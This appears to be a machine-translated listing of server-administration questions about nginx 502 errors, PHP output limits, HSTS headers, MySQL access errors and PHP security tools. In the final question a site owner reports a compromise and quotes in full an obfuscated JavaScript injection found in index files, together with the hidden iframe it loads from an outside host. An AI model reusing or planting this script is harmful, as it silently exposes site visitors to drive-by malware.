Articles of PHP

上游过早closures连接,同时从上游502 Bad GateWay读取响应报头

nginx是杀了我..所以现在我有502坏网关。 错误日志说: 2016/10/12 17:39:53 [info] 3023#0: *464 client closed connection while waiting for request, client: 127.0.0.1, server: 0.0.0.0:443 2016/10/12 17:39:53 [info] 3023#0: *465 client closed connection while waiting for request, client: 127.0.0.1, server: 0.0.0.0:443 2016/10/12 17:39:55 [error] 3023#0: *459 upstream prematurely closed connection while reading response header from upstream, client: 127.0.0.1, server: local.beerhawk.co.uk, request: "GET […]

Nginx + PHP的最大输出限制

我有php 5.5(fpm)和nginx 1.10安装(gzipconfiguration为1)。 在Ubuntu上运行。 当我“回响”一个大的输出(超过2 MB)时,它会在520 kb左右突然停止。 但是,当我运行在php-cli上的同样的程序,没有任何问题“回声”到terminal上的整个事情。 同时通过adminer下载mysql dump也会在中途停下来。 我的意思是不完整的文件被下载(如果在几个MB中正确的总输出更大)。 如何解决这个问题? 我的程序没有错。 即使是一个简单的足够长的循环喷出回声“你好世界”停止在特定的字节限制。 我不确定这个问题是由nginx侧还是php侧引起的。

虽然存在规则并且启用了mod_headers,但HSTS头不会被发送

我们在虚拟主机处理端口443的httpd.conf中启用了HSTS。我们尝试了使用和不使用<IfModule mod_headers.c> : <IfModule mod_headers.c> Header set Strict-Transport-Security "max-age=10886400; includeSubDomains" </IfModule> 但是服务器在响应中不包括头部。 下面是从HTTPScurl: > GET / HTTP/1.1 > Host: www.cryptopp.com > User-Agent: curl/7.51.0 > Accept: */* > < HTTP/1.1 200 OK < Date: Sat, 05 Nov 2016 22:49:25 GMT < Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips < Last-Modified: Wed, 02 Nov 2016 01:27:08 GMT < ETag: "8988-5404756e12afc" […]

Mac OS X上的PHP和MySQL:拒绝GUI用户访问

这个问题首先发布到堆栈溢出,但因为它也许是一样的服务器问题,我虽然也可以在这里发布它也是。 我刚刚在我的Macbook上安装并configuration了Apache,MySQL,PHP和phpMyAdmin,以便拥有本地开发环境。 但是当我把我的一个项目移到本地服务器后,我从我的一个调用mysql_query()中得到一个奇怪的MySQL错误: 访问拒绝用户'_securityagent'@'localhost'(使用密码:否) 首先,我发送到MySQL的查询是有效的,我甚至通过phpMyAdmin testet完美的结果。 其次,错误消息只发生在这里,而我有至less4个其他的MySQL连接和查询每页。 这个对mysql_query()的调用发生在处理新创build或修改的文章数据的一个非常长的函数的末尾。 这基本上是这样做的: 收集文章forms(标题,内容,date等)的所有数据。 validation收集的数据 连接到数据库 基于validation的文章数据dynamic构buildSQL查询 在closures连接之前将查询发送到数据库 很基本,我知道。 我没有认识到用户名“_securityagent”,所以经过一个快速的search,我遇到了这个和苹果的开发者连接文章谈论一些随机的bug: Mac OS X的安全基础架构通过以特殊用户“_securityagent”运行其GUI代码来解决此问题。 然后,我试着在mysql_connect()调用中使用的所有variables上放一个var_dump(),并且每次都返回正确的值(当然用户名不是“_securityagent”)。 因此,我想知道是否有人有任何想法为什么'securityagent'试图连接到我的数据库 – 当我调用mysql_query()我怎么能保持这个错误发生。 更新:这是我用来连接到数据库的确切代码。 但是有一点必须解释: 连接错误发生在class_1中函数X中对mysql_query()的调用中 class_1使用class_2连接到数据库 class_2用数据库连接variables(host,user,pass,db)读取configuration文件 class_2通过以下函数连接到数据库: var $SYSTEM_DB_HOST = ""; function connect_db() { // Reads the config file include('system_config.php'); if (!($SYSTEM_DB_HOST == "")) { mysql_connect($SYSTEM_DB_HOST, $SYSTEM_DB_USER, $SYSTEM_DB_PASS); @mysql_select_db($SYSTEM_DB); return true; } else […]

运行fastcgi-> php的博客子文件夹,而其余的网站是fastcgi-> Django

sorting一个奇怪的问题,但应该很容易解决。 我正在开发一个Django网站,客户也想要一个WordPress的博客。 因为我们在枪下,也有其他项目,所以我们没有时间去build立一个好的django博客,所以我们给他们一个子文件夹的Wordpress。 我有很多使用Nginx的经验,但从来没有做过这样的事情,我也不是非常有才华的正则expression式。 结构如下: blog (the wordpress blog) contact __init__.py manage.py settings.py static (all my static media, htdocs directory) templates urls.py wsgi.py 这是迄今为止超级轻量级​​,只有一个单一的应用程序(联系应用程序)。 我想要域名/博客点击/博客/文件夹和静态媒体对待像静态媒体和PHP文件,如PHP文件代理他们到我的fastcgi进程。 当然,我希望其他所有的东西都能和Django一起工作,进入我的python fastcgi过程。 为了logging,除了这个nginxconfiguration外,一切正常。 我所有的fcgi过程都很好。 这是我的nginxconfiguration: # David Simons Website server { listen 80; server_name ********; root /usr/local/simons/static; index index.html index.php; location / { fastcgi_pass 127.0.0.1:3033; fastcgi_param PATH_INFO $fastcgi_script_name; fastcgi_param REQUEST_METHOD […]

PHP Web应用程序有哪些好的安全审计工具?

我有兴趣find开源工具来审计一些我没有写的PHP代码,然后投入生产。 我需要黑盒HTTP探测扫描器以及静态代码分析器/分析器。 我在哪里可以find所有这些工具的一个很好的综合列表,以及哪一个实际值得尝试的小列表? 这是一个开始。 我还没有尝试过其中的任何一个: ratproxy http://code.google.com/p/ratproxy/ pixy http://www.dragoslungu.com/2007/10/30/pixy-is-a-free-php-code-audit-tool/ Spike PHP http://developer.spikesource.com/projects/phpsecaudit

nginx 502坏的网关 – fastcgi不听? (Debian 5)

我有nginx的经验,但它总是为我预先安装(通过VPS.net预先configuration的图像)。 我真的很喜欢它为我做了什么,现在我试图用apt-get将它安装在我自己的服务器上。 这是一个相当新的Debian 5安装。 我已经安装了一些额外的软件包,但他们都是.deb,没有手动编译或任何疯狂的事情。 Apache已经安装,但我禁用它。 我做了apt-get安装nginx并且工作正常。 尽pipe即将使用默认configuration,即使我要描述的问题也会发生,但是稍微改变了一下configuration。 我花了一段时间才发现nginx的默认debian软件包没有自动产生fastcgi进程。 这是相当蹩脚的,但我想出了如何使用这个脚本,我发现在许多不同的网站发布: #!/bin/bash ## ABSOLUTE path to the PHP binary PHPFCGI="/usr/bin/php5-cgi" ## tcp-port to bind on FCGIPORT="9000" ## IP to bind on FCGIADDR="127.0.0.1" ## number of PHP children to spawn PHP_FCGI_CHILDREN=10 ## number of request before php-process will be restarted PHP_FCGI_MAX_REQUESTS=1000 # allowed environment variables sperated by […]

理想的多个Apache / PHP站点的权限scheme

我从一个服务器托pipe多个网站,每个网站都有自己的用户和www目录在他们的主目录。 目前我们的Web服务器以nobody用户运行(99)。 我们注意到要运行几个stream行的脚本和引擎,他们需要写入自己的文件。 由于主目录由用户拥有,而不是任何人(99),主机configuration中的最佳策略或更改是什么: …使所有的各种引擎和平台的工作? …仍然允许我们使用文件和编辑它们,而不必以root权限来处理权限? 不要求我按照每个文件更改的权限和/或所有权。 感谢您的build议!

Apache2不能正确地提供PHP脚本

我遇到了Apache 2.2.16configuration的问题,运行在Debian Squeeze上。 问题是,它完全停止提供PHP5脚本。 当我尝试使用Google Chrome访问网站时,它会下载一个名为“download”的文件,其中包含脚本的内容。 这当然不是一件好事。 它确实服务于常见的html文件… 我已经在这一段时间了,毕竟这是一个search和排除故障的问题,我认为现在是问问你们的好时机。 这是我得到的: 安装了php5和libapache2-mod-php5软件包 / etc / apache2 / mods-available同时包含php5.load和php5.conf,并且这些从mods-enabled目录中链接 自安装以来,/ etc / php5 /目录保持不变。 这是/etc/apache2/mods-available/php.load的内容: LoadModule php5_module /usr/lib/apache2/modules/libphp5.so 和/etc/apache2/mods-available/php.conf: <IfModule mod_php5.c> <FilesMatch "\.ph(p3?|tml)$"> SetHandler application/x-httpd-php </FilesMatch> <FilesMatch "\.phps$"> SetHandler application/x-httpd-php-source </FilesMatch> <IfModule mod_userdir.c> <Directory /home/*/public_html> php_admin_value engine Off </Directory> </IfModule> </IfModule> 我错过了什么? 这是一个修改虚拟主机等服务器,所以我可能已经改变了一些导致这个问题的设置,但只是清除和重新安装是不是一个选项,因为configuration是相当广泛的。 任何帮助将是伟大的。 谢谢。 编辑:我试图访问在/ var […]

PHPparsing错误出现在共享主机环境

有没有其他人最近看到这个问题呢? 我有几个网站下来这个错误。 Parse error: syntax error, unexpected '<' in /home/public_html/index.PHP on line 39 这是由蠕虫/注入攻击造成的,它在整个任何index.php / index.html文件中都可以随意转储下面的代码: <html><body><script>date=new Date();var ar="Aw'zg>lpNu1m<0]c;erCy,aTnhE={s}i B() :[.\"ofbvdt/";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f108,0,-15,33,-30,6,33,-12,-78,-18,6,18,21,66,-21,-105,39,87,-60,-60,33,-18,18,21,66,-51,12,-39,9,-3,-54,12,42,-33,18,51,-96,123,-6,12,-75,-54,99,9,-75,3,63,-21,24,0,0,-15,33,-72,12,-33,18,3,48,3,-57,60,0,-18,6,-45,-33,69,-36,45,-12,24,0,0,27,-12,-78,-18,6,18,21,66,-21,-114,51,39,45,-87,51,18,-84,57,33,-72,12,-33,18,45,-9,-33,-9,36,-75,69,63,0,-117,90,30,0,-96,78,-96,45,66,-87,3,33,51,-72,72,-51,30,-72,-36,108,-72,0,96,-96,78,-96,45,66,-87,3,63,-42,63,-105,-27,90,-93,90,42,3,-63,6,-75,24,9,-33,90,-21,-24,42,-81,63,63,-57,-75,24,9,-33,90,-9,51,-78,-42,33,30,-75,126,-39,-6,6,36,-36,-75,75,45,-78,51,-36,18,42,0,-84,21,-24,-27,102,-36,6,45,-45,30,-51,39,-45,63,-42,36,-105,9,111,-87,-3,-30,33,75,12,-27,-72,9,90,-15,-102,90,-72,9,-42,9,21,105,-48,33,-72,12,-33,18,-36,105,-15,-57,60,0,-18,18,0,18,-99,45,-27,93,-45,30,-51,24,-3,33,-72,12,-33,18,3,48,3,-21,24,0,0,24,-66,-12,42,30,-30,-15,15,39,-12,-78,-18,6,18,21,66,-21,-72,9,-3,15,72,-87,27,-60,33,-18,18,21,66,-36,-96,87,33,-72,12,-33,18,-45,99,-57,78,-9,-30,-36,87,-138,138,0,-84,39,36,-102,111,-87,51,-96,81,-33,-9,-39,57,-57,69,63,0,-117,90,30,0,-96,78,-96,45,66,-87,3,33,51,-72,72,-51,30,-72,-36,108,-72,0,96,-96,78,-96,45,66,-87,3,63,-42,63,-105,-27,99,-57,78,-9,-30,51,-78,-42,33,66,15,-39,-6,6,36,-36,-75,75,45,-78,21,-75,69,18,42,0,-84,21,-66,42,78,-9,-30,51,-78,-42,33,66,-96,102,-36,6,45,-45,30,-51,9,-75,60,63,-42,36,-105,9,111,-87,-45,42,78,-9,-30,51,-78,-42,33,66,-99,33,75,12,-57,-75,33,-33,42,78,-9,-30,51,-78,-42,33,66,21,-15,-102,60,-75,33,-33,42,78,-9,-30,-36,87,-138,138,0,-84,39,36,-102,111,-87,51,-96,-3,90,42,3,-63,-69,57,-57,24,9,-33,99,-57,78,-9,-30,-36,87,-138,138,0,-84,39,36,-102,111,-87,51,-96,69,-24,42,-81,63,63,-132,57,-57,24,9,-33,99,-57,60,0,0,27,-12,-78,-18,6,18,21,66,-21,-105,39,87,-60,-60,33,-18,18,21,66,-51,12,-39,9,-3,-54,12,42,-33,18,51,-96,123,-6,12,-75,-54,99,9,-75,3,75,-51,-45,0,30,21,63,-78,18,18,-75,117,-33,24,-21,-57,60,0,-18]".replace(k.substr(0,1),'[');pau="rn ev2010".replace(date.getFullYear()-1,"al");e=new Function("","retu"+pau);e=e();ar2=e(ar2);s="";var pos=0;for(i=0;i<ar2.length;i++){pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;s+=ar.substr(pos,1);}e(s);</script></body></html> 代码一味地插入一个JavaScript来源的iFrame: <iframe height="10" width="10" src="http://counterstats.cz.cc/counter.htm" style="visibility: hidden; position: absolute; left: 0pt; top: 0pt;"></iframe> 我试图撕毁网站,看看这是怎么发生的,但是有谁知道这是什么具体的攻击,以及它如何传播? 漏洞未修补的代码,CPanel本身,破解密码,根服务器? 编辑 我一直无法确切知道这里发生了什么,但看起来这是一个CPanel的事情 – 更改CPanel中的所有密码似乎停止重复攻击。 我已经在这个状态下留下了一个不重要的网站(没有清除网站代码),这是绝对正确的,而在每天都被损坏之前。 联系UK2.net和JustHost了解这一点,但至今没有回应。 它也似乎public_html文件夹和一些其他“系统”文件夹奇怪地chmod'd – 很多777应该不是。 在这方面迄今还没有任何回应。 编辑 看起来是“Trojan.JS.Agent.bur”试图找出更多…